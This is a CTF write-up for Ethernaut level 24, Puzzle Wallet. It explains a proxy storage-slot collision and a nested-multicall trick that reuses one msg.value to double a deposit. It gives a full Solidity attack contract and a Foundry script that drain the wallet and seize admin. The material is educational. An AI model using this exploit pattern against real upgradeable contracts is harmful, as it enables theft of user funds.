The Ethernaut CTF Solutions | 24

Goals

The Contract

We are back to the delegatecall caveats with the Puzzle Wallet, which introduces proxy and upgradeable contracts along with their associated vulnerabilities.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(
        address _admin,
        address _implementation,
        bytes memory _initData
    ) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin() {
        require(msg.sender == admin, "Caller is not the admin");
        _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(
            pendingAdmin == _expectedAdmin,
            "Expected new admin by the current admin is not the pending admin"
        );
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
    }

    function execute(
        address to,
        uint256 value,
        bytes calldata data
    ) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

The hack

The PuzzleWallet challenge is a very interesting one that requires us to be familiar with the concepts of upgradeable contracts and proxy contracts. To keep it simple, despite being immutable by nature, there is a way to upgrade a contract by using a proxy contract. The proxy contract stores the address of the implementation contract, and if we want to change the logic, we can simply update the address in the proxy to point to a different implementation contract.

That's why we also need to remember what we have seen in previous challenges about storage collision when using the delegatecall pattern. In order to avoid storage collision, the storage layout of both contracts must be identical.

1. Become the owner of the PuzzleWallet contract

Here we can immediately see that the storage overlaps each other:

contract PuzzleProxy {
    address public pendingAdmin; // slot 0
    address public admin; // slot 1
}

contract PuzzleWallet {
    address public owner; // slot 0
    uint256 public maxBalance; // slot 1
}

So our goal here is to find a way to update the PuzzleWallet::maxBalance with our wallet address, which will override the PuzzleProxy::admin address of the proxy contract.

Next, let's check the rest of the contracts. we can see an onlyWhitelisted modifier to the setMaxBalance() function:

modifier onlyWhitelisted {
    require(whitelisted[msg.sender], "Not whitelisted");
    _;
}

The addToWhitelist() function allows us to add an address to the whitelist, but we need to be the owner of the PuzzleWallet contract to be able to call it.

function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
}

Time to remember the overlap in the storage. We could use the proposeNewAdmin() function to update the pendingAdmin address with our wallet address. Thanks to the storage collision, that would make us owner of the PuzzleWallet contract and we would be able to whitelist ourselves. Nice. So we found a way to call the setMaxBalance() function.

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
}

2. Drain the contract

While we can call the setMaxBalance() function, we are still stuck because of the require statement, as the contract's balance is not empty. So we have to drain the contract somehow.

The deposit() function allows us to deposit an amount to our balance.
The execute() function allows us to withdraw an amount from our balance, but it also makes sure that we have enough funds to withdraw:

require(balances[msg.sender] >= value, "Insufficient balance");

So how to make the contract believe our deposit was bigger than what we sent? Time to take a better look at the nasty multicall() function...

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            // Protect against reusing msg.value
            depositCalled = true;
        }
        (bool success, ) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

This function is payable and allows us to call any function we want, which is good. So we could multicall the deposit() function twice, re-using msg.value for the second call, thanks to how delegatecall works. Unfortunately, the depositCalled boolean prevents exactly this so we can't reenter this function. The deposit() function can only be called once.

But what if we nest a second deposit() call within a second multicall()?

To try to illustrate the idea, that would give something like this:

multicall(1):

deposit(0.001 ether)

multicall(2):

deposit(0.001 ether)

This would effectively bypass the following check selector == this.deposit.selector, and our balance would be 0.002 ether while having only sent 0.001 ether.

The only thing left is to call the execute() function to withdraw our balance and drain the contract at the same time. And we will finally be able to call the setMaxBalance() function and override the PuzzleProxy::admin address with our wallet address.

Nice hack, right? The nested multicall was a tricky one!

Solution

Let's implement the attack contract with the following steps:

Propose our contract as new admin;
Add our contract to the whitelist;
Craft the nested multicall to deposit twice with a single msg.value;
Call the execute() function to drain the contract;
Call the setMaxBalance() with our address to override the admin address.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
pragma experimental ABIEncoderV2;

interface IPuzzleWallet {
    function admin() external view returns (address);
    function proposeNewAdmin(address _newAdmin) external;
    function addToWhitelist(address addr) external;
    function multicall(bytes[] calldata data) external payable;
    function execute(
        address to,
        uint256 value,
        bytes calldata data
    ) external payable;
    function setMaxBalance(uint256 _maxBalance) external;
}

contract Puzzled {
    IPuzzleWallet private immutable puzzleWallet;

    constructor(address _puzzleWallet) payable {
        puzzleWallet = IPuzzleWallet(_puzzleWallet);
    }

    function forgetToDeposit() public payable {
        (bool success, ) = address(this).call{value: 0.001 ether}("");
        require(success, "Eth transfer failed");
    }

    function attack() public {
        puzzleWallet.proposeNewAdmin(address(this));
        puzzleWallet.addToWhitelist(address(this));

        bytes[] memory deposit_data = new bytes[](1);
        deposit_data[0] = abi.encodeWithSignature("deposit()");

        bytes[] memory data = new bytes[](2);
        data[0] = deposit_data[0];
        data[1] = abi.encodeWithSignature("multicall(bytes[])", deposit_data);
        puzzleWallet.multicall{value: 0.001 ether}(data);

        puzzleWallet.execute(msg.sender, 0.002 ether, "");
        puzzleWallet.setMaxBalance(uint256(uint160(msg.sender)));

        require(puzzleWallet.admin() == msg.sender, "Hack failed!");
        selfdestruct(payable(msg.sender));
    }
}

Here is the deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Puzzled} from "../src/24_PuzzleWallet.sol";

interface IPuzzleWallet {
    function admin() external view returns (address);
}

contract PoC is Script {
    // Replace with your PuzzleWallet instance
    address private immutable puzzleWallet =
        0xB8759fFB6d451D0a9C9404d1cB0D1B8D75e4F5b0; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        console2.log("Current admin: ", IPuzzleWallet(puzzleWallet).admin());
        Puzzled puzzled = new Puzzled{value: 0.001 ether}(puzzleWallet);
        puzzled.attack();
        console2.log("New admin: ", IPuzzleWallet(puzzleWallet).admin());

        vm.stopBroadcast();
    }
}

You can run the script with the following command:

forge script script/24_PuzzleWallet.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

🎉 Level completed 🎉

Takeaway

Always double check you storage layout to prevent any collision.

Make sure critical logic is protected with an access control mechanism.

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Ethernaut CTF Solutions | 24 - Puzzle Wallet

Comments

The Ethernaut

The Ethernaut CTF Solutions | 25 - Motorbike

More from this blog

Damn Vulnerable DeFi | 6 - Selfie

Damn Vulnerable DeFi | 5 - The Rewarder

Damn Vulnerable DeFi | 4 - Side Entrance

Damn Vulnerable DeFi | 3 - Truster

The Ethernaut CTF Solutions | 31 - Stake

Goals

The Contract

The hack

1. Become the owner of the PuzzleWallet contract

2. Drain the contract

Solution

Takeaway

Command Palette

Comments

The Ethernaut

The Ethernaut CTF Solutions | 25 - Motorbike

More from this blog

Goals

The Contract

The hack

1. Become the owner of the PuzzleWallet contract

2. Drain the contract

Solution

Takeaway